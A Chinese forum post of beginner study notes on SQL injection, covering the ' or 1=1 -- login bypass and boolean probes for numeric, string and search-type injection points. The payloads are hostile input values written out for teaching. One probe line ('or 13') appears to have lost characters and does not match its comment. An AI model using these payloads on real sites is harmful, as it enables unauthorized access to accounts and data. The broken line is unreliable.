学习笔记-SQL注入1(注入点类型)

打印 上一主题 下一主题

主题 871|帖子 871|积分 2613

SQL注入示例

  通过在用户名出传入参数'or 1=1 -- 进行万能密码登录
  1. select username,passwd from user where username ='text' and password ='text'    //正常语句
  2. select username,passwd from user where username ='text' or 1=1 -- ' and password ='text2'  //--后面带空格 -- '相当于注释符
  3. select username,passwd from user where username ='text' or 1=1    //最终语句   1=1恒为真结果为TRUE,or或运算,所以结果恒为真
复制代码
  判断一个HTTP请求是否存在SQL注入的方式

  经典:and 1=1 | and 2>1 | or 1=1 | or 13      //length(user())取当前用户名,如果用户名大于3,返回结果为真
     特殊符号:单引号(') 双引号(") 
 注入点类型分类

  数字型(整型)注入

  输入的参数为整数,如ID,年龄,页码等
  实际查询代码如:select ... from ... where id=$id...
  测试:id=1'    //数据库报错
     id=1 and 1=1  //网站正常显示
     id=1 and 1=2  //网站正常没有任何显示
  字符型注入

  输入的参数为字符串
  实际查询代码如:select ... from ... where id='$id'...
  测试:id=admin'  //id='admin''    返回错误
     id=admin' and '1'='1    //id='admin' and '1'='1'   运行正常
     id=admin' and '1'='2   //id='admin' and '1'='2'      异常
  搜索型注入

  进行数据搜索时没有过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示链接地址,而是直接通过搜索框表单提交
  原型大致:select * from 表名 where 字段 like '%关键字%'
  注入参数为keyword='and[查询条件] and '%'=',SQL语句为:select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

勿忘初心做自己

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表